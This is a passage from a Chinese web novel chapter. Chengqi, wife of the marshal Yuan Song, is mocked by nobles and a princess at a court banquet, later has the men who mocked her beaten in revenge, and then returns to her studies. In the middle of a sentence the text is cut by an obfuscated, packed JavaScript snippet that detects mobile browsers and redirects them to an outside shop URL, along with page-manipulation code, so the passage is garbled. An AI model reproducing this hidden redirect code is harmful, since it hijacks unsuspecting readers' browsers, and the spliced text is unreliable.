澄栖刚来不久,耳朵听了一点,但没听完,她这个人就是这样,好奇心比较重,所以只好虚心请教了。 “嗯?”离澄栖最近的贵族吓了一跳,回头一看,是一个长相无害的漂亮女人,之前没见过,估计是哪家刚长成的小姑娘呢。 “这位小姐,怎么到男士区域这边来了,没有人陪你一起玩么?如果时候这样,我很乐意邀请你跳一支舞。” 澄栖婉拒,“就想知道,你们刚刚在说什么,好像很有趣的样子。” 她真的觉得有趣,几个大男的,笑得跟偷油的耗子一样好看,她还隐隐约约听到了什么熟悉的称呼,能不好奇,能不觉得有趣么。 真是个可爱的小姑娘呢。 几个男的笑几声,开始跟她讲这里面的东西。 “听说今天晚上,元帅新娶的夫人会到。” “嗯嗯,我知道,这也没意思啊,不就是多到一个人吗?” “小姐你有所不知,如果光是这样当然没意思,但是今天莉丝公主也会出席呢,莉丝公主,可是一直疯狂追求元帅,最后被一个下等星的贱民截了胡,你说说,她能甘心么,今天晚上啊,有一场大戏看了。”解释的男人提到莉丝公主追求元帅,语气里难免有几分酸意。 那可是陛下最宠爱的公主,勾勾手指不知道多少人争着讨好,偏偏看上了原颂。 “哦,原来是这样,听起来确实挺有意思的,谢谢您的解释。”澄栖认可的点头。 “真是个有礼貌的小姑娘,之前没有在宴会上见过你,不知道我是否有幸知道小姐的身份?” “当然了,”澄栖点点头,“我是元帅家的。” “元帅?哪个元帅?”联邦没几个元帅,也没听说哪个元帅家里有这个年纪的女儿或者孙女啊。 “当然是,原颂元帅啦!”澄栖手里的酒杯一翻,酒淋到地上,“感谢各位解惑,敬你们。” 周围一片死寂,刚刚说过话的人,脸色比吃了苍蝇还要难看。 澄栖摇曳着裙尾往里走了,哪管背后的人想什么说什么。 或许是这么一出,消息不知道从哪里传开了,澄栖一路上遇到的人都还挺有礼貌的。 毕竟在外面,该有的脸面还是要有的,像那些不带着脸出来的人,还是挺少的。 澄栖走半天,终于在女佣的引领下找到了女士区域在哪里。 大家确实是提前收到消息了,围在一团,沉默地孤立她。 对于这种反应,澄栖暗暗松了一口气,刚刚已经往地上泼了一杯酒了,要是一会儿再往地上泼一杯酒,那得罪的人就太多了,她说过不会给原颂添麻烦的,还是得注意一点形象。 所以,她决定乖乖坐着吃点东西。 从她坐下,周围扫视的视线就没有停过。 澄栖被看得烦了,放下手里的食物,抬头,恰巧和一位夫人的视线对视上,对方迅速尴尬的收回了视线。 澄栖礼貌询问,“请问,这些东西,是不能吃吗?” “额,当然可以吃了。” “哦,那我继续吃了?” “嗯,好。” “谢谢啊。”澄栖点点头,道过谢后继续食用摆盘精美的食物。 等她一低头,打量的视线又没完没了的扫过来。 这还怎么安心吃饭啊。 澄栖硬着头皮吃了一点,还是叹气,拿起酒杯打算说两句再敬一杯酒的,一抬头,看见一个眼眶又红又肿的漂亮姑娘站在她面前。 看起来就是那种天真不谙世事的漂亮小姑娘,身上的首饰至少三斤重,像只孔雀一样站在澄栖面前开屏,恶狠狠盯着她。 但她哭得实在太惨了,这恶狠狠的目光也大打折扣。 “你就是澄栖?” 居然有人叫得出来她的名字?澄栖觉得稀奇。 “对,我是。” 得到她肯定的答复,小姑娘颤抖着用手指指着她,眼睛里的泪水像断线的珠子一样往下掉。 “你跟我进来。” 她说完,旁边突然出现两个身材高大的女佣,把澄栖夹在中间,伸出手示意她往前走。 澄栖大概知道她是谁了。 莉丝公主。 ……皇族啊。 那她岂不是,很容易就能见到安萨斯陛下咯? 那个,疑似豢养朝暮的人。 “我在叫你呢,你是聋子吗?” 莉丝公主语气刻薄。 澄栖才缓过神,“什么?” “你这个下等星的贱民,连人话都听不懂!为什么是你,为什么是你!” 澄栖两个字,直接让她暴怒,她一脚踢在旁边一看就死贵的柜子上,估计是踢痛了,或者是别的什么原因,突然坐在地上大哭。 澄栖:……谁来救救她,现在这种场面,她要怎么办? “要不然站起来哭呗,地上多凉啊。”现在都快十一月份了,坐地上怕是不好哦。 莉丝公主狠狠瞪了她一眼,看见对方着装得体,连慌乱的情绪都没流露出来居高临下地看着她,顿时把旁边摆着的花瓶狠狠一推,花瓶碎在地上。 澄栖眼里露出心痛,这得多少钱啊,这个花瓶一看就不是什么便宜货。 终于在澄栖脸上看见表情变化,莉丝公主得意地抹掉眼泪,从地上站起来,“下等星来的就是下等星来的,没见过世面,这种花瓶我多得是,送人我都嫌寒碜。” “真的?”澄栖试探性开口,“我不嫌寒碜,要不然你送我一个?” 虽然名义上的遗产那么多,但是都是不动产,真正打在她账户上的钱只有每个月的生活费。也算够用,但是谁会嫌弃钱多呢,尤其时候这种天上突然掉下来的钱。 莉丝公主被澄栖的无耻震惊得不是一点半点。 可一听她提起钱,就想起来前几天偷偷听见父亲和首相的对话,顿时更难过了。 “他们说,元帅的财产,好多都转到你的账下了?” 澄栖一点没觉得惊讶,大方回复,“也不是很多,才转了三分之一,应该还有三分之二没转完。” 话还没说完,莉丝公主的眼泪唰唰唰的流,“他们说的都是真的对吗?因为原颂将军不行了,所以在给你分遗产?你凭什么分走他的钱!” 澄栖不知道她到底是更在意原颂不行了,还是更在意她分走原颂钱的这件事情,索性一个一个问题回答,“是快死了。”原本是快要死了,后续也不能百分百确定能活,所以她不算撒谎。 至于遗产分配这个问题,“遗产分配是符合联邦法律的分配,更何况,我不分走,钱留着也没用啊。” 肉眼可见的,莉丝公主的情绪越来越不稳定,澄栖有些肉痛,“如果你也想要,我让秦叔给你也送一点?” 一句话,让莉丝公主瞬间爆炸,抹开眼泪,她指挥屋内的女佣,“把她抓起来!我不允许任何人觊觎他的财产!他只能是我的!” 澄栖被追得莫名其妙,都打算在空间扣里翻枪了,突然听见莉丝公主大吼一声,“我要把你押到父亲面前,让他赐死你!” 澄栖脚一顿,也不跑了,“那你抓我吧。” 莉丝将信将疑站在澄栖面前,“你以为父亲会为你做主?你只是下等星来的一个贱民,别做梦了。” 澄栖“嗯嗯”两声,手上悄悄把一小团朝暮塞进了莉丝公主的裙摆里。 这种超大裙撑加超大裙摆的晚礼服真的太棒了,裙摆边缘湿了一小块,连莉丝公主本人都没有注意到。 澄栖的沉默对莉丝公主来说,就是胜利的号角,她说,“我会让所有人都知道,你这种人,根本配不上原颂将军。” 其实大家都这么觉得,澄栖觉得没必要再说了,但是担心莉丝公主不去陛下面前哭,她还是识趣闭嘴了。 带着澄栖走到宴会大厅的时候,安萨斯陛下还没有到,大厅里只有围在一起说笑的男男女女和在舞池里跳舞的男男女女。 眼尖的人一看见莉丝公主的裙摆,顿时涌上去。 “亲爱的公主,在下是否有幸邀请您跳一支舞?” 莉丝停下脚步,狡黠的笑了,“当然,但是你要回答我一个问题。” “我和她,谁更好看?”莉丝指着澄栖。 邀请的男人眼睛都没眨一下,“当然是您了,公主,您是世界上独一无二最美丽的公主,任何人都不及您。” “至于这位女士,普通得令人发指。” 莉丝并不满意,这样普通的澄栖能够被父亲赐给原颂将军,而如此优秀的她却不能,这让她十分伤心。 莉丝绕开了邀请的男人,继续往前走。 看见这样的场面,顿时有聪明人知道,只有全力贬低澄栖,才会得到莉丝公主的青睐。 胆大的人没有再拦莉丝公主,而是拦下来澄栖。 “夫人。” 这个人是清楚澄栖的身份的,应该说,得益于一进宴会那杯酒,现在在场应该没有不认识她的人了。 莉丝果然因为这一声停下来脚步,她回头。 说话的男人仿佛受到鼓励,故意上下打量澄栖,“听说夫人是从下等星上来的,相比对于伺候人的事情十分熟练了,我的鞋脏了,可以让夫人请我擦一下吗?” 整个宴会顿时荒唐大笑。 如果原颂在这里的话,他们当然不敢这么对他的夫人,可是他现在不是半死不活躺在床上吗?连遗产都开始分割了,那他们自然也不用害怕了。 澄栖微笑着不说话,只是在心里默默把这个人记住。 莉丝看着澄栖的反应,也“扑哧”一下笑出声,顿时周围的男人更加来劲,“夫人,我也缺一个擦鞋的。” 很好,又多记住了一个人。 “夫人,我不缺擦鞋的,但是缺一个端茶送水的,夫人会擦鞋,想必端茶送水自然也不差吧?” “除了端茶送水,夫人不知道还会不会其他的技巧呢?好好伺候,我或许能为夫人解围呢。”说话的男人话里吐出些暧昧,里面的意思大家都懂,顿时又是满宴会厅的笑声。 看吧,这些蠢货,脑子里除了那点破事,再也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060406|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想不到其他羞辱人的手段了。 澄栖给这个人脑袋上打了个着重符号。 有人听着越来越难听的话,皱眉想要出头,被旁边的人拉了一把,“莉丝公主在。” “他们说话太难听了,我的女儿要是被人这么说,我非杀了他们。” “有什么办法呢,别去了,否则我们都会没有好果子吃的。” 澄栖记够了人,伸手拉裙摆,准备打个结方便动的,这时候拯救可怜少女的王子的突然出现,“阁下,这样对女孩子,是否有失绅士风度?” “首相大人?” 澄栖回头,看见一只伸向她的手。 手的主人带着温柔的微笑,“夫人不要害怕,我带你离开。” 澄栖脸上的笑容很僵硬。 僵硬得有点扭曲。 不是,都把她当成蠢货玩儿? 她都打算动手了,这种装模作样的煞笔这时候出来干什么? 布德温看见她的反应很得意,轻视让他只看见了澄栖僵硬的笑容,自动脑补出来被针对后有人出面的受宠若惊。 看来他的时机选择得很好。 等她受够白眼再像天使一样降临解围,为的就是看见她像狗一样的感动。 “不要担心,我会处理,跟我走吧。”他的语气更加温柔。 澄栖不想走,她还打算等安萨斯陛下到,往他身上丢点水团看看什么反应。 “首相大人,我要带她见陛下。”莉丝开口硬刚。 澄栖在心里默默点头,对,就是这样,多说几句。 布德温的态度也很强硬,看起来他是要打定主意得到澄栖的感谢了。 他没说话,拉着澄栖走出宴会大厅。 莉丝居然没拦。 澄栖气得牙都要咬碎了。 被拉到宴会入口处,布德温用自己最好看的半边脸对着澄栖,声音磁性好听,“夫人别担心,我会帮助你的,我叫布德温。” 布德温布德温,果然是个温桑,坏她好事。 澄栖抽了三四次,终于把手抽回来了。 深深吸气把怒火压下去,“谢谢首相大人,但是我听说您和元帅大人关系不太好,我不敢和您多接触,抱歉。” 澄栖说完头也不回的就走了。 布德温终于从自我感动中回过神来,突然发现,这个被人鄙夷不屑的元帅夫人,好像有点意思。 澄栖脚上的高跟鞋踩得响天彻地,怎么想怎么不得劲,坐在飞行器里,更是想不过来,“等着,先不回去。” 水团没丢到安萨斯身上她还能忍,毕竟有风险的事情做了不一定成功,但是被骂了,却天降岔子没机会打回去,她再怎么也不甘心。 这场宴会因为种种原因,最后还是不欢而散,澄栖没有蹲守多久,就见到陆陆续续走出宴会大厅的人。 这场宴会很不平静。 不光是宴会上,还有宴会后。 多位贵族大臣在路上被伏击,最严重的那位,双腿都被打断了,更加奇怪的是,被打后的人,竟然全部保持沉默。一时间,联邦主星惶恐不安,以为是什么黑暗势力暗中行动。 被打上黑暗势力的澄栖活动了一下关节,带着原颂的私兵坐上飞行器,总算心里好受一点了。 她总算是找到了私兵的正确用法,这些人下起黑手来,是真的牛啊。 回到别墅的时候,二楼的灯还亮着,原颂特意在等她。 澄栖上楼,看见人坐在沙发上看文件。 “回来了,宴会那边怎么样?” 不说还好,说起来澄栖差点翻白眼,“元帅,你到底干了什么,能让大家这么讨厌你?”连带着她跟着遭殃。 原颂抬头,有些疑惑,“什么?” “布德温,还有杂七杂八的贵族大臣们,听见你要死了,跟过年杀猪一样高兴。” 嗯,也是有不讨厌原颂的,莉丝公主,但这就更加糟糕了,因为她喜欢原颂,所以恨死了她。澄栖无力吐槽,“真是受尽苦楚。” 原颂假装不知道她宴会后带人把各位贵族打了个遍的事情。 澄栖打得高兴了,扫尾的事情他可以来做。 “那你有没有想要的补偿?” 补偿?澄栖眼睛一下亮了,原颂在她心里跟财神爷似的,充满了魅力。 魅力?就是太有魅力,让她一下想到另一个被冲昏头脑的,莉丝公主,整个人快反感魅力这个词,一拳打在沙发上,咬牙切齿,“你少散发点魅力吧!当男人的不能本分点吗,拈花惹草!” 说完话,澄栖摔门而去,徒留原颂满脸疑惑。 但澄栖连补偿都不要,估计是真气得狠了。 澄栖真的很烦。 莉丝公主不知道哪里弄到了她的通讯,一天八百条好友申请,附加的消息永远是那么几条没营养,看得人发腻的骂人的话,一点新意都没有。 她干脆通过了莉丝的好友申请,然后拍了一张和昏睡的原颂十指相扣的图片过去,在对方还没有来得及反应的时候,把人加进黑名单。 这下子轮到莉丝气得发抖了,她不仅在宴会上被父亲狠狠责骂,还收到了澄栖的挑衅照片,人一下子一口气没上来,晕了过去。 澄栖才终于得到了几天安详日子。 她搬回了出租屋,不久就要期末考试了,这套房子上学方便很多,而且她房租都付了,没有不住的道理。 这些日子下来,澄栖对寄生虫专业适应良好。 当然,这里最大的功臣必须是安澜将军。 她手里各种奇形怪状的寄生虫放出来,经过这段时间的折磨,他们这群名义上的研究人员,实际上,恐怕都可以上战场打寄生虫了。 当同学笑着对安澜说出来这句话的时候,安澜陷入了沉思。 澄栖看着安澜的变化,笑容僵了,心里涌现出来一些不好的预感。 同学们却没有意识到,还在为他们在格斗课上练就出来的肌肉感到欣喜。 “我觉得充满了力量!” “像我们这种研究和格斗都很行的研究员不多了。” “还要什么士兵啊,我们都能直接上战场杀寄生虫!” “就是!感谢安澜将军!” 安澜抬头,问学生们,“你们真的这么想?”